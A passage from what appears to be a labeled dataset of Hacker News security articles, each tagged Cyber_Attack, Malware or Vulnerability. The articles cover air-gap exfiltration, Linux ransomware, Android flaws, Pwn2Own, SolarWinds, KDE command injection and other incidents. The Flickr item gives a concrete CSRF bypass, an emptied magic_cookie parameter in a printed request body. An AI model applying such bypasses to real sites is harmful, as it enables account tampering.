MAGNETO is a short-distance attack where an Android app installed on the attacker's smartphone can receive stolen data with the help of phone's magnetometer— a magnetic sensor that can transmit data even if the smartphone is placed inside a Faraday bag or is set to airplane mode.
ODINI attack enables attackers to capture electromagnetic signals from a slightly longer range using a dedicated magnetic sensor.

In case of MAGNETO, the team managed to achieve only up to 5 bits/sec over a distance of up to 12.5 cm (5 inches), while ODINI is quite more efficient with a maximum transfer rate of 40 bits/sec over a range of 100 to 150 cm (3-5 feet).
Both ODINI and MAGNETO also work if the targeted air-gapped device is inside a Faraday cage, which is designed to block electromagnetic fields, including Bluetooth, Wi-Fi, cellular, and other wireless communications.

Researchers suggest three different approaches that can be used to prevent attackers from establishing a covert magnetic channel, i.e., shielding, jamming, and zoning.

Video Demonstration of MAGNETO And ODINI Attacks

The team published proof-of-concept video demonstrations for both MAGNETO and ODINI attacks, which shows both the attacks in action.


It's not the first time Ben-Gurion researchers came up with a covert technique to target air-gapped computers. Their previous research of hacking air-gap computers include:

aIR-Jumper attack that steals sensitive information from air-gapped computers with the help of infrared-equipped CCTV cameras that are used for night vision.
USBee attack that can be used steal data from air-gapped computers using radio frequency transmissions from USB connectors.
DiskFiltration attack that can steal data using sound signals emitted from the hard disk drive (HDD) of the targeted air-gapped computer;
BitWhisper that relies on heat exchange between two computer systems to stealthily siphon passwords or security keys;
AirHopper that turns a computer's video card into an FM transmitter to capture keystrokes;
Fansmitter technique that uses noise emitted by a computer fan to transmit data; and
GSMem attack that relies on cellular frequencies.

",Cyber_Attack
Linux Ransomware targeting Servers and Threatening Webmasters to Pay,https://thehackernews.com/2015/11/linux-ransomware.html,"Since past few years, Ransomware has emerged as one of the catastrophic malware programs that lets hacker encrypts all the contents of a victim's hard drive or/and server and demands ransom (typically to be paid in Bitcoin) in exchange for a key to decrypt it.

Until now cyber criminals were targeting computers, smartphones and tablets, but now it appears they are creating ransomware that makes the same impact but for Web Sites – specifically holding files, pages and images of the target website for Ransom.

Dubbed Linux.Encoder.1 by Russian antivirus firm Dr.Web, the new strain of ransomware targets Linux-powered websites and servers by encrypting MySQL, Apache, and home/root folders associated with the target site and asking for 1 Bitcoin (~ $300) to decrypt the files.

The ransomware threat is delivered to the target website through known vulnerabilities in website plugins or third-party software.

Must Read: FBI Suggests Ransomware Victims — 'Just Pay the Ransom Money'.

Once infected, the Linux.Encoder.1 malware encrypts all files in the Home directories on the system as well as Backup directories and the System Folders associated with Web site files, pages, images, code libraries and scripts.

Ransomware Uses AES Encryption

According to the security researchers, the ransomware in question needs root privileges to work. Additionally, when it launches, the malware starts downloading:
The Ransom Message containing the demands of fraudsters
A file containing the public RSA key
After that, the Ransomware starts as a daemon and deletes all of the original files. The RSA key is then used to store AES keys that are used by the ransomware to encrypt the local files on the infected computer.

The ransomware also adds the .encrypt extension to each file it encrypts and writes a ransom text message in every folder.

Also Read: FBI Offers $3 Million Reward For Arrest Of Russian Hacker behind CryptoLocker Ransomware.

Targeting Linux-Powered Websites and Servers
The malware specifically encrypts files in folders that are typically found in Linux Web server setups, including directories like home, root, MySQL, Apache, and any directory that includes terms such as git, svn, webapp, www, public_html, or backup.

Moreover, the ransomware looks for files that have extensions specific to Web development environments including .js, .css, .properties, .xml, .ruby, .php, .html, .gz, and .asp, as well as other file extensions like .rar, .7z, .xls, .pdf, .doc, .avi, .mov, .png, and .jpg.

Once the victim pays the ransom amount, the system receives a signal to pass over the directories again to decrypt the files.

Until security researchers create a decryption program, they recommend webmasters to backup all important data and keep all their files in place in case they are targeted.

Also Read: Anyone can Now Create their Own Ransomware using This Hacking ToolKit.

",Malware
New Report Explains COVID-19's Impact on Cyber Security,https://thehackernews.com/2020/09/covid-cybersecurity-report.html,"Most cybersecurity professionals fully anticipated that cybercriminals would leverage the fear and confusion surrounding the Covid-19 pandemic in their cyberattacks.

Of course, malicious emails would contain subjects relating to Covid-19, and malicious downloads would be Covid-19 related. This is how cybercriminals operate. Any opportunity to maximize effectiveness, no matter how contemptible, is taken.

While many have anecdotally suggested ways in which Covid-19 related cyberattacks would unfold, we have little data supporting the actual impact of Covid-19 on cybersecurity. Several have reported that the number of malicious emails with the subject related to Covid-19 has grown several hundred percent and that the majority of Covid-19 related emails are now malicious.

Beyond the anticipated increase in Covid-19 related malicious emails, videos, and an array of downloadable files, which we all anticipated, what else is going on behind the scenes?

Interestingly, cybersecurity company Cynet has just released a report (download here) detailing changes in cyberattacks they've observed across North America and Europe since the beginning of the Covid-19 pandemic. The report shares several interesting data points and findings, such as the cyberattack volume change observed in various industry sectors, the increased use of spear-phishing as an initial attack vector, and the approaches being used to distribute malware in spear-phishing attacks.

The two more interesting findings follow.

Fighting Fire with Fire

Cynet found that cybercriminals are not just ""sort of"" leveraging the Covid-19 pandemic, they're going all in. Cybercriminals are pulling out their entire arsenal of new attack methods to ensure attack success best. This is like a sports team using all the new plays they've developed in one game rather than spreading them out across the season.

The report states that the percentage of attacks using new techniques has historically been around 20%. That is, 80% of attacks have used well-known techniques that are easily identified, assuming companies have updated preventative measures in place.

Since the Covid-19 pandemic, Cynet found that new attacks jumped to roughly 35% of all attacks. New attack techniques cannot be sufficiently detected by antivirus software alone and can only be effectively discovered using newer behavioral detection mechanisms. That is, the new detection approaches must be used to detect the new attack techniques being deployed.

Overburdened Security Staffs

Another interesting observation in the Cynet report is a huge spike in clients requesting expert assistance from their detection and response team (which Cynet calls CyOps). Client engagements increased a whopping 250% during the pandemic.

Beyond using advanced detection and response mechanisms, deep cybersecurity skills are required to detect and mitigate the sharp rise in the new attack techniques deployed during the Covid-19 pandemic.

The Cure?

Unfortunately, many companies do not yet have advanced detection and response technologies, such as Extended Detection and Response (XDR), or ongoing access to a 24x7 managed detection and response (MDR) team. When cyberattacks using new techniques spike as they are during this pandemic (or could do at any time), companies without these advanced protections are at higher risk.

We strongly recommend investigating both XDR and MDR solutions as a way to futureproof and immunize your cybersecurity stack.

And regardless of the security stack you have deployed, be wary of new malware attacks. Use threat hunting techniques to scour your systems to ensure new malware has not slipped through the cracks. The uptick in new malware means prevention and detection become trickier, and continuous threat hunting must become the norm.

Download the report here.

",Cyber_Attack
Hacking Facebook Accounts Using Android 'Same Origin Policy' Vulnerability,https://thehackernews.com/2014/12/Hacking-Facebook-account.html,"A serious security vulnerability has been discovered in the default web browser of the Android OS lower than 4.4 running on a large number of Android devices that allows an attacker to bypass the Same Origin Policy (SOP).

The Android Same Origin Policy (SOP) vulnerability (CVE-2014-6041) was first disclosed right at the beginning of September 2014 by an independent security researcher Rafay Baloch. He found that the AOSP (Android Open Source Platform) browser installed on Android 4.2.1 is vulnerable to Same Origin Policy (SOP) bypass bug that allows one website to steal data from another.

Security researchers at Trend micro in collaboration with Facebook have discovered many cases of Facebook users being targeted by cyber attacks that actively attempt to exploit this particular flaw in the web browser because the Metasploit exploit code is publicly available, which made the exploitation of the vulnerability much easier.

The Same Origin Policy is one of the guiding principles that seek to protect users' browsing experience. The SOP is actually designed to prevent pages from loading code that is not part of their own resource, ensuring that no third-party can inject code without the authorization of the owner of the website.

Unfortunately, the SOP has been the victim of Cross-Site scripting vulnerability in older versions of Android smartphones that helps attackers to serve the victims a malicious JavaScript file stored in a cloud storage account.

In this particular attack, a link will be served using a particular Facebook page that could lead Facebook users to a malicious website.
However, the ""page contains obfuscated JavaScript code, which includes an attempt to load a Facebook URL in an inner frame. The user will only see a blank page as the page's HTML has been set not to display anything via its div tag, while the inner frame has a size of one pixel,"" Simon Huang, a mobile security engineer at Trend Micro, wrote in a blog post.
JavaScript code could allow an attacker to perform various tasks on the victim's Facebook account, on behalf of the legitimate account holder. According to the researcher, hackers can do almost anything with the hacked Facebook account using JavaScript code. Some of the activities are listed as follows:
Adding Friends
Like and Follow any Facebook page
Modify Subscriptions
Authorize Facebook apps to access the user's public profile, friends list, birthday information, likes.
To steal the victim's access tokens and upload them to their server.
Collect analytics data (such as victims' location, HTTP referrer, etc.) using the legitimate service.
Security researchers have observed that the cyber crooks behind this campaign rely on an official BlackBerry app maintained by BlackBerry in order to steal the access tokens and thus hacking Facebook accounts. Using the name of a trusted developer like BlackBerry, the attacker want the campaign to remain undetected. Trend Micro reported BlackBerry about their findings.
""The mobile malware using the Android SOP Exploit (Android Same Origin Policy Bypass Exploit) is designed to target Facebook users regardless of their mobile device platform,"" Blackberry told Trend Micro in a statement. ""However, it attempts to take advantage of the trusted BlackBerry brand name by using our Facebook web app. BlackBerry is continuously working with Trend Micro and Facebook to detect and mitigate this attack. Note that the issue is not a result of an exploit to Blackberry's hardware, software, or network.""
Trend Micro is working together with Facebook and BlackBerry in an attempt to detect the attack and prevent the attack from being carried out against new Android users.

All Android devices upto Android 4.4 KitKat are vulnerable to this SOP vulnerability. However, a patch was offered by Google back in September, but millions of Android smartphones users are still vulnerable to the attack because the manufacturer of the smartphone no longer pushes the update to its customers or the device itself does not support a newer edition of the operating system.

The SOP vulnerability resides in the browser of the Android devices, which can't be uninstalled because it's usually part of the operating system in-build feature. So, in order to protect yourself, just Disable the BROWSER from your Android devices by going to Settings > Apps > All and looking for its icon. By opening it, you'll find a DISABLE button, Select it and disable the Browser.

",Vulnerability
Android 4.3 and Earlier versions Vulnerable to Critical Code-Execution Flaw,https://thehackernews.com/2014/06/android-43-and-earlier-versions.html,"A critical code-execution vulnerability almost affecting everyone those are not running the most updated version of Google Android, i.e. Android version 4.4 also known as KitKat.

After nine months of vulnerability disclosure to the Android security team, researchers of the Application Security team at IBM have finally revealed all the possible details of a serious code-execution vulnerability that still affects the Android devices running versions 4.3 and earlier, which could allow attackers to exfiltrate sensitive information from the vulnerable devices.
""Considering Android's fragmented nature and the fact that this was a code-execution vulnerability, we decided to wait a bit with the public disclosure,"" said Roee Hay, a security research group leader at IBM.
The researchers found the stack buffer overflow vulnerability that resides in the Android's KeyStore storage service, which according to the Android developers' website is the service code running in Android responsible for storing and securing device's cryptographic keys.

CAUSE OF THE CRITICAL FLAW
According to the researchers, the vulnerability occurred due the absent bounds check for a stack buffer created by the ""KeyStore::getKeyForName"" method.

""This function has several callers, which are accessible by external applications using the Binder interface (e.g., 'android::KeyStoreProxy::get'). Therefore, the 'keyName' variable can be controllable with an arbitrary size by a malicious application,"" Hay said. ""The 'encode_key' routine that is called by 'encode_key_for_uid' can overflow the 'filename' buffer, since bounds checking is absent.""

ANDROID VULNERABILITY IMPACT
While IBM's researchers haven't seen this vulnerability being exploited in the wild yet. But if successfully exploited, would compromise a device completely allowing an attacker to execute malicious code of their choice under the keystore process.

Consequently, the attacker could gain access to the device's sensitive information such as device's lock-screen credentials, encrypted and decrypted master keys, data and hardware-backed key identifiers from the memory, as well as the ability to carry out cryptographic operations such as arbitrary signing of data on behalf of the users.

ATTACK VECTOR
While this could be accomplished only with the use of a malicious application, but there are a number of obstacles for the working exploit to overcome.

That means, a malicious application must have ability to bypass memory-based protections native to the operating system including Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR).

DEP is an exploit mitigation that limits where code can be executed and helps prevent certain malicious exploits, but the attackers have had success using shellcode or Return Oriented Programming (ROP) attacks in order to bypass DEP.
While, ASLR specifically reduces buffer overflow attacks that exploit vulnerabilities like the one elaborated in this article. ASLR randomizes the memory locations used by system files and other programs, making it much harder for an attacker to correctly guess the location of a given process.

An attacker would also need to overcome the stack canaries present in Android, which is used to detect stack buffer overflow bugs such as this one before execution of malicious code can occur. Moreover, Android also makes use of encoding, which is also an obstacle for the attacker to overcome.
""However, the Android KeyStore is respawned every time it terminates,"" Hay cautions. ""This behavior enables a probabilistic approach; moreover, the attacker may even theoretically abuse ASLR to defeat the encoding.""
LATEST UPDATE - ANDROID 4.4.4
Currently Google is rolling out Android KitKat 4.4.4 with build number KTU84P (branch kitkat-mr2.1-release) to several Nexus devices, including Nexus 4, 5, 7, and 10. Latest update primarily addresses the OpenSSL CCS Injection Vulnerability (CVE-2014-0224), which was discovered in OpenSSL after the Heartbleed bug was uncovered.

So if you haven't updated your OS, this might be a good time to do it. Users can check to see if the update is available for their device by accessing Settings > About Phone > System Updates.

",Cyber_Attack
Another Java zero-day vulnerability being exploited in the wild,https://thehackernews.com/2013/03/another-java-zero-day-vulnerability.html,"Do you still have Java installed? There is a bad news for you ! FireEye has detected yet another Java zero-day vulnerability being exploited in attacks in the wild.



The vulnerability targets browsers that have the latest version of the Java plugin installed Java v1.6 Update 41 and Java v1.7 Update 15 and FireEye warned that the vulnerability is being exploited to install a remote-access trojan dubbed McRat, researchers from security firm.

""Not like other popular Java vulnerabilities in which security manager can be disabled easily, this vulnerability leads to arbitrary memory read and write in JVM process,""

""After triggering the vulnerability, exploit is looking for the memory which holds JVM internal data structure like if security manager is enabled or not, and then overwrites the chunk of memory as zero.""

The exploit is reportedly different from the one used to attack Facebook, Twitter, Apple, and several other companies last month.

It is not known if this particular Java vulnerability is on Windows only or on Linux and Mac OS X, too. However, McRat is a Windows Trojan so the in-the-wild attacks are specifically targeting Windows users.

If you don't want any chance of being infected, the best thing to do is uninstall Java altogether.

",Malware
"0-Days Found in iPhone X, Samsung Galaxy S9, Xiaomi Mi6 Phones",https://thehackernews.com/2018/11/mobile-hacking-exploits.html,"At Pwn2Own 2018 mobile hacking competition held in Tokyo on November 13-14, white hat hackers once again demonstrated that even the fully patched smartphones running the latest version of software from popular smartphone manufacturers can be hacked.

Three major flagship smartphones—iPhone X, Samsung Galaxy S9, and Xiaomi Mi6—were among the devices that successfully got hacked at the annual mobile hacking contest organized by Trend Micro's Zero Day Initiative (ZDI), earning white hat hackers a total of $325,000 in reward.

Teams of hackers participated from different countries or representing different cybersecurity companies disclosed a total of 18 zero-day vulnerabilities in mobile devices made by Apple, Samsung, and Xiaomi, as well as crafted exploits that allowed them to completely take over the targeted devices.

Apple iPhone X Running iOS 12.1 — GOT HACKED!

A team of two researchers, Richard Zhu and Amat Cama, who named themselves Fluoroacetate, discovered and managed to exploit a pair of vulnerabilities in a fully patched Apple iPhone X over Wi-Fi.

The duo combined a just-in-time (JIT) vulnerability in the iOS web browser (Safari) along with an out-of-bounds write bug for the sandbox escape and escalation to exfiltrate data from the iPhone running iOS 12.1.

For their demonstration, the pair chose to retrieve a photo that had recently been deleted from the target iPhone, which certainly came as a surprise to the person in the picture. The research earned them $50,000 in prize money.
Richard Zhu and Amat Cama (Team Fluoroacetate)
Fluoroacetate team also attempted to exploit the baseband on the iPhone X, but could not get their exploit working in the time allotted.

Another team of researchers from UK-based MWR Labs (a division of F-Secure), which included Georgi Geshev, Fabi Beterke, and Rob Miller, also targeted the iPhone X in the browser category but failed to get their exploit running within the time allotted.

ZDI said it will acquire those vulnerabilities through its general ZDI program.

Samsung Galaxy S9 — Also, GOT HACKED!

Besides iPhone X, Fluoroacetate team also hacked into the Samsung Galaxy S9 by exploiting a memory heap overflow vulnerability in the phone's baseband component and obtaining code execution. The team earned $50,000 in prize money for the issue.

""Baseband attacks are especially concerning since someone can choose not to join a Wi-Fi network, but they have no such control when connecting to baseband,"" Zero Day Initiative wrote in a blog post (Day 1).

Three more different vulnerabilities were discovered by the MWR team, who combined them to successfully exploit the Samsung Galaxy S9 over Wi-Fi by forcing the device to a captive portal without any user interaction.

Next, the team used an unsafe redirect and an unsafe application load in order to install their custom application on the target Samsung Galaxy S9 device. MWR Labs was rewarded $30,000 for their exploit.

Xiaomi Mi6 — Yes, This Too GOT HACKED!

Fluoroacetate did not stop there. The team also managed to successfully exploit the Xiaomi Mi6 handset via NFC (near-field communications).

""Using the touch-to-connect feature, they forced the phone to open the web browser and navigate to their specially crafted webpage,"" ZDI said.

""During the demonstration, we didn't even realize that action was occurring until it was too late. In other words, a user would have no chance to prevent this action from happening in the real world.""

The vulnerability earned the Fluoroacetate team $30,000 in prize money.

On Day 2 of the competition, the Fluoroacetate team also successfully utilized an integer overflow vulnerability in the JavaScript engine of the web browser of the Xiaomi Mi6 smartphone that allowed them to exfiltrate a picture from the device.

The bug earned them another $25,000.
Georgi Geshev, Fabi Beterke, and Rob Miller (MWR Labs)

MWR Labs also tried its hands on the Xiaomi Mi6 smartphone and combined five different bugs to silently install a custom application via JavaScript, bypass the application whitelist, and automatically launch the app.

To achieve their goal, the white hat hackers first forced the Xiaomi Mi6 phone's default web browser to navigate to a malicious website, when the phone connected to a Wi-Fi server controlled by them.

The combination of vulnerabilities earned the MWR team $30,000.

On Day 2, the MWR team combined a download flaw along with a silent app installation to load their custom application and exfiltrate some pictures from the phone. This earned them another $25,000.

A separate researcher, Michael Contreras, managed to exploit a JavaScript type confusion vulnerability to obtain code execution on the Xiaomi Mi6 handset. He earned himself $25,000.

Fluoroacetate Won 'Master of Pwn' Title This Year

With the highest of 45 points and a total of $215,000 prize money, Fluoroacetate researchers Cama and Zhu earned the title 'Master of Pwn,' logging five out of six successful demonstrations of exploits against iPhone X, Galaxy S9, and Xiaomi Mi6.

Details of all the zero-day vulnerabilities discovered and exploited in the competition will be available in 90 days, as per the pwn2Own contest's protocol, which includes notifying vendors and OEM patch deployments.

The vulnerabilities will remain open until the affected vendors issue security patches to address them.

",Vulnerability
This Malware Can Secretly Auto-Install any Android App to Your Phone,https://thehackernews.com/2015/11/android-malware-auto-install.html,"Own an Android Smartphone?

Hackers can install any malicious third-party app on your smartphone remotely even if you have clearly tapped a reject button of the app.

Security researchers have uncovered a trojanized adware family that has the capability to automatically install any app on an Android device by abusing the operating system's accessibility features.

Michael Bentley, head of response at mobile security firm Lookout, warned in a blog post published Thursday that the team has found three adware families:
Shedun (GhostPush)
Kemoge (ShiftyBug)
Shuanet

Also Read: Android Malware Can Spy On You Even When Your Mobile Is Off

All the three adware families root-infect Android devices in order to prevent their removal and give attackers unrestricted access to the devices.

But, it seems that the Shedun adware family has capabilities that go beyond the reach of other adware families.

The Malware Doesn't Exploit Any Vulnerability

It is worth noting that the malware does not exploit any flaw in the service to hijack an Android device and instead relies on the service's legitimate functionality.

During the installation, apps from the Shedun adware family tricks users into granting them access to the Android Accessibility Service, which is meant to provide users alternative ways to interact with their smartphone devices.

Also Read: Kemoge: Latest Android Malware that Can Root Your Smartphone

By gaining access to the accessibility service, Shedun can:
Read the text that appears on the phone screen
Determine an app installation prompt
Scroll through the permission list
Finally, Press the install button without any physical interaction from the user


Video Demonstration:

You can watch the following video that shows the forced installation of an app in action.


The trojanized app actually masquerades itself as an official app available in Google Play Store and then is pushed to third-party markets.

The worrisome part is that Shedun apps can't be easily uninstalled, as the apps root the victim's device and then embed themselves in the system partition in an effort to persist even after factory reset.

Also Read: Android Bootkit Malware Infected Millions of Devices

Lookout categorized them as ""Trojanized Adware"" because the goal of this malware is to install third-party apps and serve aggressive advertising.

Legitimate applications also use the Android Accessibility Service for features like to grant expanded capability to phone tinkerers. So, users are, as always, advised to carefully make use of the third-party app markets.

",Malware
Flickr Cross-Site Request Forgery Vulnerability Patched,https://thehackernews.com/2014/08/flickr-cross-site-request-forgery.html,"Yahoo-owned Flickr, one of the biggest online photo management and sharing website in the world was recently impacted by a web application vulnerability, which could allow an attacker to modify users' profile image.

Flickr is one of the most popular photo sharing website with more than 87 million users, therefore some top major target for cybercriminals. The site was vulnerable to the most common vulnerability known as Cross-Site Request Forgery (XSRF or CSRF), which is very easy to exploit by attackers.

Cross-Site Request Forgery is a method of attacking a Web site in which an intruder masquerades as a legitimate and trusted user. All the attacker need to do is get the target browser to make a request to your website on their behalf. If they can either:
Convince your users to click on a HTML page they've constructed
Insert arbitrary HTML in a target website that your users visit
Not too difficult, is it?

Abdullah Hussam, a 17 years old programmer from Iraq found that just by modifying parameters value of a Flickr HTTP request, one can trick the web service to modify users' profiles.

When a user uploads a photo on Flickr, it will redirect the user to the page where they can add info on the photo like tags, description, and title. The request it make is as shown below:
edit_done=1&upload_ids=14401638983&just_photo_ids=&set_id=&magic_cookie=32e285e98bbef3aa6afd8c879891c01b&title_14401638983=XSRF+bug+POC1&description_14401638983=XSRF+bug+POC1&tags_14401638983=XSRF+POC1&tags_14401638983=XSRF+POC2&Submit=SAVE
According to Abdullah, the flaw resides in the ""magic_cookie"" parameter, which Flickr used to protect its website users from XSRF vulnerability.

In order to exploit Flickr XSRF vulnerability, an attacker can simply setup a webpage on his server with custom HTML form and custom parameter values, as shown. By keeping ""magic_cookie"" parameter value empty and changing Photo ID to the new image ID, the exploit will be able to bypass protection mechanism.

When the victim clicks a button on the web page, it generates a manipulated HTTP request to the server, which force the Flickr to replace victim's profile image with new image.
""The last thing I did it was delete the value of magic cookie, in the first try it failed but in the second it works!,"" Abdullah told The Hacker News. ""The all value (title, description, tags) got change and I got redirected to my photos.""
He has also provided a video demonstration as a Proof of Concept:

The teen reported the vulnerability to Yahoo! and it was fixed in less than 12 hours by the Yahoo! security team. He got the reply from Yahoo! after more than a month and is still waiting for his bounty.

",Vulnerability
"A Second Hacker Group May Have Also Breached SolarWinds, Microsoft Says",https://thehackernews.com/2020/12/a-second-hacker-group-may-have-also.html,"As the probe into the SolarWinds supply chain attack continues, new digital forensic evidence has brought to light that a separate threat actor may have been abusing the IT infrastructure provider's Orion software to drop a similar persistent backdoor on target systems.
""The investigation of the whole SolarWinds compromise led to the discovery of an additional malware that also affects the SolarWinds Orion product but has been determined to be likely unrelated to this compromise and used by a different threat actor,"" Microsoft 365 research team said on Friday in a post detailing the Sunburst malware.
What makes the newly revealed malware, dubbed ""Supernova,"" different is that unlike the Sunburst DLL, Supernova (""app_web_logoimagehandler.ashx.b6031896.dll"") is not signed with a legitimate SolarWinds digital certificate, signaling that the compromise may be unrelated to the previously disclosed supply chain attack.
In a standalone write-up, researchers from Palo Alto Networks said the Supernova malware is compiled and executed in-memory, permitting the attacker to bypass endpoint detection and response (EDR) systems and ""deploy full-featured – and presumably sophisticated – .NET programs in reconnaissance, lateral movement and other attack phases.""
How the Sunburst Backdoor Operates
The discovery is yet another indication that in addition to being a lucrative infection vector for threat actors, the breach of SolarWinds — which cast a wide net of 18,000 companies and government agencies — had been executed with a far broader scope and extraordinary sophistication.
The adversaries used what's called a supply chain attack, exploiting SolarWinds Orion network management software updates the company distributed between March and June of this year to plant malicious code in a DLL file (aka Sunburst or Solorigate) on the targets' servers that's capable of stealthily gathering critical information, running remote commands, and exfiltrating the results to an attacker-controlled server.
Analysis of the Solorigate modus operandi has also revealed that the campaign chose to steal data only from a select few of thousands of victims, opting to escalate their attacks based on intel amassed during an initial reconnaissance of the target environment for high-value accounts and assets.
The escalation involves the predefined command-and-control (C2) server — a now-sinkholed domain called ""avsvmcloud[.]com"" — responding to the infected system with a second C2 server that allows the Sunburst backdoor to run specific commands for privilege escalation exploration, credential theft, and lateral movement.
The fact that the compromised DLL file is digitally signed implies a compromise of the company's software development or distribution pipeline, with evidence suggesting that the attackers have been conducting a dry run of the campaign as early as October 2019.
The October files did not have a backdoor embedded in them in the way that subsequent software updates SolarWinds Orion customers downloaded in the spring of 2020 did — rather, it was mainly used to test if the modifications showed up in the newly released updates as expected.
The US Cybersecurity and Infrastructure Security Agency (CISA), in an alert last week, said it found evidence of initial infection vectors using flaws other than the SolarWinds software.
Cisco, VMware, and Deloitte Confirm Malicious Orion Installations
Cybersecurity firms Kaspersky and Symantec have said they each identified 100 customers who downloaded the trojanized package containing the Sunburst backdoor, with the latter finding traces of a second-stage payload called Teardrop in a small number of organizations.
The specific number of infected victims remains unknown at this time, but it has steadily increased since cybersecurity firm FireEye revealed it had been breached via SolarWinds's software early this month. So far, several US government agencies and private companies, including Microsoft, Cisco, Equifax, General Electric, Intel, NVIDIA, Deloitte, and VMware have reported finding the malware on its servers.
""Following the SolarWinds attack announcement, Cisco Security immediately began our established incident response processes,"" Cisco said in a statement to The Hacker News via email.
""We have isolated and removed Orion installations from a small number of lab environments and employee endpoints. At this time, there is no known impact to Cisco products, services, or to any customer data. We continue to investigate all aspects of this evolving situation with the highest priority.""
FireEye was the first to expose the wide-ranging espionage campaign on December 8 after discovering that the threat actor had stolen its arsenal of Red Team penetration testing tools, making it so far the only instance where the attackers escalated access thus far. No foreign governments have announced compromises of their own systems.
Although media reports have cited it to be the work of APT29, Russia has denied involvement in the hacking campaign. Neither have cybersecurity companies and researchers from FireEye, Microsoft, and Volexity attributed these attacks to the threat actor.

",Malware
KDE Linux Desktops Could Get Hacked Without Even Opening Malicious Files,https://thehackernews.com/2019/08/kde-desktop-linux-vulnerability.html,"If you are running a KDE desktop environment on your Linux operating system, you need to be extra careful and avoid downloading any "".desktop"" or "".directory"" file for a while.

A cybersecurity researcher has disclosed an unpatched zero-day vulnerability in the KDE software framework that could allow maliciously crafted .desktop and .directory files to silently run arbitrary code on a user's computer—without even requiring the victim to actually open it.

KDE Plasma is one of the most popular open-source widget-based desktop environment for Linux users and comes as a default desktop environment on many Linux distributions, such as Manjaro, openSUSE, Kubuntu, and PCLinuxOS.

Security researcher Dominik Penner who discovered the vulnerability contacted The Hacker News, informing that there's a command injection vulnerability in KDE 4/5 Plasma desktop due to the way KDE handles .desktop and .directory files.

""When a .desktop or .directory file is instantiated, it unsafely evaluates environment variables and shell expansions using KConfigPrivate::expandString() via the KConfigGroup::readEntry() function,"" Penner said.



Exploiting this flaw, which affects KDE Frameworks package 5.60.0 and below, is simple and involves some social engineering as an attacker would need to trick KDE user into downloading an archive containing a malicious .desktop or .directory file.

""Using a specially crafted .desktop file a remote user could be compromised by simply downloading and viewing the file in their file manager, or by dragging and dropping a link of it into their documents or desktop,"" the researcher explained.

""Theoretically, if we can control config entries and trigger their reading, we can achieve command injection / RCE.""

As a proof-of-concept, Penner also published exploit code for the vulnerability along with two videos that successfully demonstrate the attack scenarios exploiting the KDE KDesktopFile Command Injection vulnerability.

Apparently, the researcher did not report the vulnerability to the KDE developers before publishing the details and PoC exploits, said KDE Community while acknowledging the vulnerability and assuring users that a fix is on its way.

""Also, if you discover a similar vulnerability, it is best to send an email security@kde.org before making it public. This will give us time to patch it and keep users safe before the bad guys try to exploit it,"" KDE Community said.

Meanwhile, the KDE developers recommended users to ""avoid downloading .desktop or .directory files and extracting archives from untrusted sources,"" for a while until the vulnerability gets patched.

Update — KDE v5.61.0 Patches Command Injection Vulnerability

KDE developers have patched this vulnerability by removing the entire feature of supporting shell commands in the KConfig files, an intentional feature that KDE provides for flexible configuration.

According to the developers, KConfig could be abused by miscreants to make KDE users ""install such files and get code executed even without intentional action by the user.""

""A file manager trying to find out the icon for a file or directory could end up executing code, or any application using KConfig could end up executing malicious code during its startup phase for instance,"" KDE said in its security advisory released Wednesday.

""After careful consideration, the entire feature of supporting shell commands in KConfig entries has been removed, because we couldn't find an actual use case for it. If you do have an existing use for the feature, please contact us so that we can evaluate whether it would be possible to provide a secure solution.""

Users are recommended to update to version 5.61.0 of KDE Frameworks 5, while users on kdelibs are advised to apply the patch for kdelibs 4.14 provided in the KDE Project advisory.

",Vulnerability
Hackers Compromise Microsoft Support Agent to Access Outlook Email Accounts,https://thehackernews.com/2019/04/microsoft-outlook-email-hack.html,"If you have an account with Microsoft Outlook email service, there is a possibility that your account information has been compromised by an unknown hacker or group of hackers, Microsoft confirmed The Hacker News.

Earlier this year, hackers managed to breach Microsoft's customer support portal and access information related to some email accounts registered with the company's Outlook service.

Yesterday, a user on Reddit publicly posted a screenshot of an email which he received from Microsoft warning that unknown attackers were able to access some information of his OutLook account between 1 January 2019 and 28 March 2019.

Another user on Reddit also confirmed that he/she too received the same email from Microsoft.

According to the incident notification email, as shown below, attackers were able to compromise credentials for one of Microsoft's customer support agents and used it to unauthorisedly access some information related to the affected accounts, but not the content of the emails or attachments.
The information that a Microsoft's customer support agent can view is limited to account email addresses, folder names, subject lines of emails, and the name of other email addresses you communicate with.

""Our data indicates that account-related information (but not the content of any e-mails) could have been viewed, but Microsoft has no indication why that information was viewed or how it may have been used,"" the company says in the email.

It should be noted that since attackers had an alternative window, i.e., access to customer support account, to partially look inside the affected email accounts without actually having to log into each account, even the two-factor authentication was not able to prevent users' accounts.

At this time, it is not clear how the attackers were able to compromise Microsoft employee, but the tech company confirmed that it has now revoked the stolen credentials and started notifying all affected customers.

In an email to The Hacker News, Microsoft verified the authenticity of the notification email and confirmed the breach saying:

""We addressed this scheme, which affected a limited subset of consumer accounts, by disabling the compromised credentials and blocking the perpetrators' access.""

However, Microsoft did not disclose the total number of accounts affected by the incident.

Although the breach did not directly impact your email login credentials, Microsoft recommended users to still consider resetting passwords for their Microsoft accounts just to be on the safer side.

""Microsoft regrets any inconvenience caused by this issue,"" the company says. ""Please be assured that Microsoft takes data protection very seriously and has engaged its internal security and privacy teams in the investigation and resolution of the issue, as well as. additional hardening of systems and processes to prevent such recurrence.""

",Cyber_Attack
"300,000 Servers Still Vulnerable to Heartbleed Vulnerability After One Month",https://thehackernews.com/2014/05/300000-servers-still-vulnerable-to_9.html,"It's more than a month since we all were warned of the critical OpenSSL Heartbleed vulnerability, but that doesn't mean it disappeared. The critical bug compromised many popular websites and after been discovered the problem was solved. But is that so?

No, not at all! A recent finding from the security researcher Robert David Graham claims that there are still more than 300,000 servers apparently remain vulnerable to the most critical OpenSSL bug, Heartbleed, which is admittedly down in numbers from the previous which resulted in over 600,000 systems a month ago.

Graham announced on the Errata Security blog that he arrived at the number through a recently done global internet scan (or at least the important bits: port 443 of IPv4 addresses), which reveals that exactly 318,239 systems are still vulnerable to the OpenSSL Heartbleed bug and over 1.5 million servers still support the vulnerable ""heartbeat"" feature of OpenSSL that allowed the critical bug.

""The numbers are a little strange. Last month, I found 28-million systems supporting SSL, but this month I found only 22-million. I suspect the reason is that this time, people detected my Heartbleed ""attacks"" and automatically firewalled me before the scan completed. Or, another problem is that I may have more traffic congestion at my ISP, which would reduce numbers. (I really need to do a better job detecting that),"" Graham wrote in the blog post.

